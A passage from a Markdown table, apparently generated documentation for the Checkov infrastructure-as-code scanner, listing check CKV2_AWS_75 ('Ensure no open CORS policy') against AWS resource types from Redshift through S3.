Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1244 | CKV2_AWS_75 | resource | aws_redshift_cluster_iam_roles | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1245 | CKV2_AWS_75 | resource | aws_redshift_cluster_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1246 | CKV2_AWS_75 | resource | aws_redshift_data_share_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1247 | CKV2_AWS_75 | resource | aws_redshift_data_share_consumer_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1248 | CKV2_AWS_75 | resource | aws_redshift_endpoint_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1249 | CKV2_AWS_75 | resource | aws_redshift_endpoint_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1250 | CKV2_AWS_75 | resource | aws_redshift_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1251 | CKV2_AWS_75 | resource | aws_redshift_hsm_client_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1252 | CKV2_AWS_75 | resource | aws_redshift_hsm_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1253 | CKV2_AWS_75 | resource | aws_redshift_logging | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1254 | CKV2_AWS_75 | resource | aws_redshift_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1255 | CKV2_AWS_75 | resource | aws_redshift_partner | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1256 | CKV2_AWS_75 | resource | aws_redshift_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1257 | CKV2_AWS_75 | resource | aws_redshift_scheduled_action | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1258 | CKV2_AWS_75 | resource | aws_redshift_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1259 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1260 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy_grant | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1261 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1262 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1263 | CKV2_AWS_75 | resource | aws_redshift_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1264 | CKV2_AWS_75 | resource | aws_redshift_usage_limit | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1265 | CKV2_AWS_75 | resource | aws_redshiftdata_statement | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1266 | CKV2_AWS_75 | resource | aws_redshiftserverless_custom_domain_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1267 | CKV2_AWS_75 | resource | aws_redshiftserverless_endpoint_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1268 | CKV2_AWS_75 | resource | aws_redshiftserverless_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1269 | CKV2_AWS_75 | resource | aws_redshiftserverless_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1270 | CKV2_AWS_75 | resource | aws_redshiftserverless_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1271 | CKV2_AWS_75 | resource | aws_redshiftserverless_usage_limit | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1272 | CKV2_AWS_75 | resource | aws_redshiftserverless_workgroup | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1273 | CKV2_AWS_75 | resource | aws_region_info | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1274 | CKV2_AWS_75 | resource | aws_rekognition_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1275 | CKV2_AWS_75 | resource | aws_rekognition_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1276 | CKV2_AWS_75 | resource | aws_rekognition_stream_processor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1277 | CKV2_AWS_75 | resource | aws_resiliencehub_resiliency_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1278 | CKV2_AWS_75 | resource | aws_resourceexplorer2_index | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1279 | CKV2_AWS_75 | resource | aws_resourceexplorer2_view | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1280 | CKV2_AWS_75 | resource | aws_resourcegroups_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1281 | CKV2_AWS_75 | resource | aws_resourcegroups_resource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1282 | CKV2_AWS_75 | resource | aws_rolesanywhere_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1283 | CKV2_AWS_75 | resource | aws_rolesanywhere_trust_anchor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1284 | CKV2_AWS_75 | resource | aws_root | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1285 | CKV2_AWS_75 | resource | aws_root_access_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1286 | CKV2_AWS_75 | resource | aws_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1287 | CKV2_AWS_75 | resource | aws_route53_cidr_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1288 | CKV2_AWS_75 | resource | aws_route53_cidr_location | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1289 | CKV2_AWS_75 | resource | aws_route53_delegation_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1290 | CKV2_AWS_75 | resource | aws_route53_health_check | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1291 | CKV2_AWS_75 | resource | aws_route53_hosted_zone_dnssec | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1292 | CKV2_AWS_75 | resource | aws_route53_key_signing_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1293 | CKV2_AWS_75 | resource | aws_route53_query_log | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1294 | CKV2_AWS_75 | resource | aws_route53_record | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1295 | CKV2_AWS_75 | resource | aws_route53_resolver_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1296 | CKV2_AWS_75 | resource | aws_route53_resolver_dnssec_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1297 | CKV2_AWS_75 | resource | aws_route53_resolver_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1298 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1299 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_domain_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1300 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1301 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1302 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1303 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1304 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1305 | CKV2_AWS_75 | resource | aws_route53_resolver_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1306 | CKV2_AWS_75 | resource | aws_route53_resolver_rule_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1307 | CKV2_AWS_75 | resource | aws_route53_traffic_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1308 | CKV2_AWS_75 | resource | aws_route53_traffic_policy_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1309 | CKV2_AWS_75 | resource | aws_route53_vpc_association_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1310 | CKV2_AWS_75 | resource | aws_route53_zone | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1311 | CKV2_AWS_75 | resource | aws_route53_zone_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1312 | CKV2_AWS_75 | resource | aws_route53domains_delegation_signer_record | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1313 | CKV2_AWS_75 | resource | aws_route53domains_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1314 | CKV2_AWS_75 | resource | aws_route53domains_registered_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1315 | CKV2_AWS_75 | resource | aws_route53profiles_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1316 | CKV2_AWS_75 | resource | aws_route53profiles_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1317 | CKV2_AWS_75 | resource | aws_route53profiles_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1318 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1319 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_control_panel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1320 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_routing_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1321 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_safety_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1322 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_cell | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1323 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_readiness_check | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1324 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_recovery_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1325 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_resource_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1326 | CKV2_AWS_75 | resource | aws_route_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1327 | CKV2_AWS_75 | resource | aws_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1328 | CKV2_AWS_75 | resource | aws_rum_app_monitor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1329 | CKV2_AWS_75 | resource | aws_rum_metrics_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1330 | CKV2_AWS_75 | resource | aws_s3_access_point | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1331 | CKV2_AWS_75 | resource | aws_s3_account_public_access_block | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1332 | CKV2_AWS_75 | resource | aws_s3_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1333 | CKV2_AWS_75 | resource | aws_s3_bucket_accelerate_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1334 | CKV2_AWS_75 | resource | aws_s3_bucket_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1335 | CKV2_AWS_75 | resource | aws_s3_bucket_analytics_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1336 | CKV2_AWS_75 | resource | aws_s3_bucket_cors_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1337 | CKV2_AWS_75 | resource | aws_s3_bucket_intelligent_tiering_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1338 | CKV2_AWS_75 | resource | aws_s3_bucket_inventory | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1339 | CKV2_AWS_75 | resource | aws_s3_bucket_lifecycle_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1340 | CKV2_AWS_75 | resource | aws_s3_bucket_logging | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1341 | CKV2_AWS_75 | resource | aws_s3_bucket_metric | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1342 | CKV2_AWS_75 | resource | aws_s3_bucket_notification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1343 | CKV2_AWS_75 | resource | aws_s3_bucket_object | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1344 | CKV2_AWS_75 | resource | aws_s3_bucket_object_lock_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1345 | CKV2_AWS_75 | resource | aws_s3_bucket_ownership_controls | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1346 | CKV2_AWS_75 | resource | aws_s3_bucket_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1347 | CKV2_AWS_75 | resource | aws_s3_bucket_public_access_block | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1348 | CKV2_AWS_75 | resource | aws_s3_bucket_replication_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1349 | CKV2_AWS_75 | resource | aws_s3_bucket_request_payment_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1350 | CKV2_AWS_75 | resource | aws_s3_bucket_server_side_encryption_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1351 | CKV2_AWS_75 | resource | aws_s3_bucket_versioning | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1352 | CKV2_AWS_75 | resource | aws_s3_bucket_website_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1353 | 